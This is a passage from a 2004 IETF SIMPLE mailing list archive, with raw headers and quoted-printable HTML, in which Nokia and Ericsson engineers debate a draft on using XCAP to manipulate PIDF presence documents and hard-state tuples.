class=3D509473301-03032004>Not totally=20
        true</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>XCAP have a=20
        limited set of rules for HTTP URI=20
        creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN=20
        class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
        size=3D2><SPAN class=3D509473301-03032004>So&nbsp;it is not =
meant for *any*=20
        XML document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>I think the=20
        XCAP framework is clear on =
that</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>You would need=20
        to expand those rules, which can complicate things quite a lot, =
not to=20
        mention slow things down, to make it more=20
        generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
        =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        class=3D182215601-03032004>[MI] I think you are right on this =
one, my=20
        previous statement was wrong. XCAP can have problems with =
handling *any*=20
        XML document, if the selector construction will be restricted to =
only=20
        limited number of possibilities. However, see Jonathan's mail =
attached=20
        to this mail. Based on this I assume PIDF would still be OK for =
XCAP as=20
        it is now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2>3) I'm not sure if =
I&nbsp;understood the=20
        question. This is not a template for any applications that want =
to use=20
        XCAP, this is standardizing how XCAP is used to manipulate=20
        PIDF-formatted presence documents. As there is no computed data =
or=20
        anything, I guess an app usage for any XML doc would be quite =
similar to=20
        this one.<SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>For event=20
        packages we have a template that have to be filled&nbsp;by for =
anyone=20
        who wants to create a new event=20
        package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>So I am asking=20
        if your&nbsp;document presents a template, similar&nbsp;to the =
event=20
        package approach. (forget about the content for your=20
        application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>I am not sure=20
        if I am clear&nbsp;on that=20
        one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
        =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
        <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
        face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
        class=3D182215601-03032004>[MI] OK, I got the question, thanks.=20
        Yes,&nbsp;we tried to follow&nbsp;the structure/template how =
Jonathan=20
        has defined the&nbsp;other existing&nbsp;XCAP application =
usages. So it=20
        should&nbsp;be according to how XCAP AUs are ssupposed to be=20
        specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2>4) Surely there are many ways to =
manipulate=20
        PIDF documents. However, in context of SIMPLE, XCAP is a natural =
choice=20
        since it's needed already in any advanced presence-capable =
device. Could=20
        you explain what kind of complexities you mean? This is as =
simple an=20
        XCAP usage as&nbsp;there can be. Are you saying that XCAP in =
itself is=20
        complex? A more simple way would be to use just normal HTTP PUT =
and=20
        DELETE, but since we have XCAP at our disposal, why not use =
it.<SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>The=20
        complexities will arise if we allow users to do selective =
manipulation,=20
        using XCAP,&nbsp;for certain tuples&nbsp;*only*, and using =
PUBLISH for=20
        the remaining tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
class=3D509473301-03032004>So I need to=20
        see your answer first to my&nbsp;response to your first =
&nbsp;bullet=20
        before I go further</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN=
=20
        class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
        size=3D2><SPAN=20
        =
class=3D509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></=
DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2><SPAN class=3D182215601-03032004>[MI] As I explained =
above, you can=20
        already PUBLISH several documents and there has to be a way to =
do=20
        composition. So the complexity is already inbuilt in SIMPLE, it =
is not=20
        in this sense extended here.</SPAN></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>Markus</FONT></SPAN></DIV>
        <BLOCKQUOTE=20
        style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: =
#0000ff 2px solid">
          <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
          size=3D2>-----Original Message-----<BR><B>From:</B> ext George =
Foti=20
          (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 =
March,=20
          2004 02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
          simple@ietf.org<BR><B>Subject:</B> Comments on=20
          =
draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
          <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
          <P><FONT face=3D"Times New Roman">I have some comments on your =

          draft:</FONT> </P>
          <P><FONT face=3D"Times New Roman">1) Although you indicate =
that this=20
          should be used only for hard states, what is there to prevent =
users=20
          from manipulating other presence states in there through=20
          XCAP.</FONT></P>
          <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used =
for=20
          documents that are created to take advantage of the defined =
XCAP rules=20
          for HTTP URI creation. Which XML presence documents in =
particular are=20
          you proposing that they get manipulated by XCAP.&nbsp; =
</FONT></P>
          <P><FONT face=3D"Times New Roman">How do you ensure that the =
current=20
          XCAP rules are suffiicient for the purpose you have in mind. I =
also=20
          doubt that you can use the current XML presence documents =
(PIDF and=20
          extensions) for XCAP purposes as is. For example, should there =
not be=20
          the element mandatory-ns, in there, as per the XCAP=20
          framework.</FONT></P>
          <P><FONT face=3D"Times New Roman">3) Is this template meant to =
be a=20
          generic template to be used by all applications that want to =
use=20
          XCAP.</FONT> </P>
          <P><FONT face=3D"Times New Roman">4) Finally, I believe that =
there are=20
          other, out-of-band means, to accomplish your goals, i.e. =
manipulate=20
          hard states, without the unwarranted complexities that the =
draft=20
          creates. Thus, there must be explicit references in the draft =
to that=20
          fact.&nbsp; </FONT></P>
          <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT =
face=3DArial=20
          size=3D2>Ericsson Canada</FONT> </P><BR><BR>This communication =
is=20
          confidential and intended solely for the addressee(s). Any=20
          unauthorized review, use, disclosure or distribution is =
prohibited. If=20
          you believe this message has been sent to you in error, please =
notify=20
          the sender by replying to this transmission and delete the =
message=20
          without disclosing it. Thank you.<BR><BR>E-mail including =
attachments=20
          is susceptible to data corruption, interruption, unauthorized=20
          amendment, tampering and viruses, and we only send and receive =
e-mails=20
          on the basis that we are not liable for any such corruption,=20
          interception, amendment, tampering or viruses or any =
consequences=20
          thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This communication =
is=20
      confidential and intended solely for the addressee(s). Any =
unauthorized=20
      review, use, disclosure or distribution is prohibited. If you =
believe this=20
      message has been sent to you in error, please notify the sender by =

      replying to this transmission and delete the message without =
disclosing=20
      it. Thank you.<BR><BR>E-mail including attachments is susceptible =
to data=20
      corruption, interruption, unauthorized amendment, tampering and =
viruses,=20
      and we only send and receive e-mails on the basis that we are not =
liable=20
      for any such corruption, interception, amendment, tampering or =
viruses or=20
      any consequences thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This =
communication=20
  is confidential and intended solely for the addressee(s). Any =
unauthorized=20
  review, use, disclosure or distribution is prohibited. If you believe =
this=20
  message has been sent to you in error, please notify the sender by =
replying to=20
  this transmission and delete the message without disclosing it. Thank=20
  you.<BR><BR>E-mail including attachments is susceptible to data =
corruption,=20
  interruption, unauthorized amendment, tampering and viruses, and we =
only send=20
  and receive e-mails on the basis that we are not liable for any such=20
  corruption, interception, amendment, tampering or viruses or any =
consequences=20
  thereof. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C400F3.AA901BBB--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 20:06:26 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11430
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 20:06:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhJh-00028i-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:06:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhIa-0001vC-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:05:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhHR-0001hg-00; Wed, 03 Mar 2004 20:04:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhHN-0004UF-Go; Wed, 03 Mar 2004 20:04:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhGn-0004Sx-RL
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 20:03:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11221
	for <simple@ietf.org>; Wed, 3 Mar 2004 20:03:24 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhGl-0001Ws-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:03:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhFu-0001IU-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:02:31 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhEi-00015s-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:01:16 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24118C18851;
	Thu, 4 Mar 2004 03:01:08 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 03:01:03 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i24113ih020240;
	Thu, 4 Mar 2004 03:01:03 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00MKl45j; Thu, 04 Mar 2004 03:01:02 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2410v726728;
	Thu, 4 Mar 2004 03:00:57 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 03:00:55 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A377@esebe018.ntc.nokia.com>
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQBaWM0LyIyxGDRSzCiIhXyVdkXKwAF9acA
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 04 Mar 2004 01:00:55.0542 (UTC) FILETIME=[25D7B160:01C40184]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 4 Mar 2004 03:00:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

The presence/event state publication model, including multiple sources, =
is described in:
http://www.ietf.org/internet-drafts/draft-ietf-simple-publish-reqs-00.txt=


  "In general, the presence
   state of a presentity may be derived from many different inputs.  A
   complete view of presence for a presentity is likely to be derived
   from more than one source, where the the complete view of presence
   state is composed of the presence state from each source.  Therefore,
   any given PUA is unlikely to be able to provide complete presence
   information.  This document proposes a logical model for publishing
   presence information from multiple PUAs to a presence compositor,
   that can act as a presence agent."

Each PUA with an active SIP PUBLISH state creates one source. XCAP =
manipulation produces yet another which is logically independent of the =
others. This is not an implementation issue, but based on the =
multi-source model used in SIMPLE.=20

Markus

> -----Original Message-----
> From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> Sent: 03 March, 2004 23:48
> To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE:
> Comments on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
> Comments inline, but we would meet f2f/gf
>=20
> > -----Original Message-----
> > From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > Sent: Wednesday, March 03, 2004 7:04 AM
> > To: George Foti (QA/EMC); simple@ietf.org
> > Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE:
> > Comments on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi George,
> >=20
> > I think you may still missing the point that there is not=20
> > only one but several presence documents that can be published=20
> > by a presentity, and only at the event state compositor do=20
> > they get combined into a single document.=20
>=20
> You are talking about implementation here.
> Today, there is a singe PIDF XML document that can be managed by XCAP.
> and it includes everything
> The split you are discussing here is not formaized and unless=20
> there is an XML document with a defined=20
> XML schema defined, I dont see how you can XCAP the way you=20
> are suggesting.
>=20
> For instance each=20
> > PUA publishing with SIP PUBLISH will have its own separate=20
> > PIDF-doc. The draft does not propose those documents to be=20
> > manipulated by XCAP, so there is clear separation between=20
> > "soft state PUA-specific" presence and "hard-state=20
> > device-independent" presence. What the draft proposes is that=20
> > there woud be a single device independent "hard-state"=20
> > presence document in addition to the PUA-specific ones. The=20
> > motivation is given in Chapter 1 and the model is illustrated=20
> > in Figure 1.=20
> >=20
> > So in short: The "hard-state" and "soft-state" tuples are=20
> > kept in separate documents, and the scenario you describe=20
> > below won't exist.
> >=20
>=20
> Can you point me to the 2 XML documents that describe those.
> =20
> > What exactly would go into the hard-state presence document=20
> > is not defined in the draft, and  is left for an implementor=20
> > or user to decide. Typically there could be things like=20
> > web-page address, e-mail specific tuple, or even some tuples=20
> > with the future-status, i.e. something that is not tied to a=20
> > single device and/or does not change very often. Also this=20
> > document would form the basis for the outgoing presence=20
> > information in the absense of any publishing PUAs.
> >=20
> > Markus  =20
> >=20
> >=20
> > -----Original Message-----
> > From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> > Sent: 03 March, 2004 10:10
> > To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> > Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was=20
> > RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi Markus,
> >=20
> > Lets leave the mandatory-ns element aside for the time being.
> > You stated that one should use XCAP to control *hard state*=20
> > tuples only
> > What if a user changes other  soft tuples with XCAP.
> >=20
> > Will the server allow that?
> >=20
> > Where in your draft you explain/discuss how to handle those cases?
> >=20
> > And what are the tuples in PIDF and other extensions that you=20
> > consider *hard state* tuples.
> >=20
> > Rgds/gf
> >  =20
> >=20
> =20
>=20
> This communication is confidential and intended solely for=20
> the addressee(s). Any unauthorized review, use, disclosure or=20
> distribution is prohibited. If you believe this message has=20
> been sent to you in error, please notify the sender by=20
> replying to this transmission and delete the message without=20
> disclosing it. Thank you.
>=20
> E-mail including attachments is susceptible to data=20
> corruption, interruption, unauthorized amendment, tampering=20
> and viruses, and we only send and receive e-mails on the=20
> basis that we are not liable for any such corruption,=20
> interception, amendment, tampering or viruses or any=20
> consequences thereof.
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 20:06:57 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11516
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 20:06:57 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhJk-0004jp-DG
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 20:06:28 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2416SVP018206
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 20:06:28 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhJk-0004jY-9p
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 20:06:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11448
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 20:06:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhJi-00028n-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:06:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhIb-0001vK-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:05:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhHR-0001hg-00; Wed, 03 Mar 2004 20:04:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhHN-0004UF-Go; Wed, 03 Mar 2004 20:04:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhGn-0004Sx-RL
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 20:03:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11221
	for <simple@ietf.org>; Wed, 3 Mar 2004 20:03:24 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhGl-0001Ws-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:03:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhFu-0001IU-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:02:31 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhEi-00015s-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:01:16 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24118C18851;
	Thu, 4 Mar 2004 03:01:08 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 03:01:03 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i24113ih020240;
	Thu, 4 Mar 2004 03:01:03 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00MKl45j; Thu, 04 Mar 2004 03:01:02 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2410v726728;
	Thu, 4 Mar 2004 03:00:57 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 03:00:55 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A377@esebe018.ntc.nokia.com>
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQBaWM0LyIyxGDRSzCiIhXyVdkXKwAF9acA
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 04 Mar 2004 01:00:55.0542 (UTC) FILETIME=[25D7B160:01C40184]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 4 Mar 2004 03:00:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

The presence/event state publication model, including multiple sources, =
is described in:
http://www.ietf.org/internet-drafts/draft-ietf-simple-publish-reqs-00.txt=


  "In general, the presence
   state of a presentity may be derived from many different inputs.  A
   complete view of presence for a presentity is likely to be derived
   from more than one source, where the the complete view of presence
   state is composed of the presence state from each source.  Therefore,
   any given PUA is unlikely to be able to provide complete presence
   information.  This document proposes a logical model for publishing
   presence information from multiple PUAs to a presence compositor,
   that can act as a presence agent."

Each PUA with an active SIP PUBLISH state creates one source. XCAP =
manipulation produces yet another which is logically independent of the =
others. This is not an implementation issue, but based on the =
multi-source model used in SIMPLE.=20

Markus

> -----Original Message-----
> From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> Sent: 03 March, 2004 23:48
> To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE:
> Comments on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
> Comments inline, but we would meet f2f/gf
>=20
> > -----Original Message-----
> > From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > Sent: Wednesday, March 03, 2004 7:04 AM
> > To: George Foti (QA/EMC); simple@ietf.org
> > Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE:
> > Comments on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi George,
> >=20
> > I think you may still missing the point that there is not=20
> > only one but several presence documents that can be published=20
> > by a presentity, and only at the event state compositor do=20
> > they get combined into a single document.=20
>=20
> You are talking about implementation here.
> Today, there is a singe PIDF XML document that can be managed by XCAP.
> and it includes everything
> The split you are discussing here is not formaized and unless=20
> there is an XML document with a defined=20
> XML schema defined, I dont see how you can XCAP the way you=20
> are suggesting.
>=20
> For instance each=20
> > PUA publishing with SIP PUBLISH will have its own separate=20
> > PIDF-doc. The draft does not propose those documents to be=20
> > manipulated by XCAP, so there is clear separation between=20
> > "soft state PUA-specific" presence and "hard-state=20
> > device-independent" presence. What the draft proposes is that=20
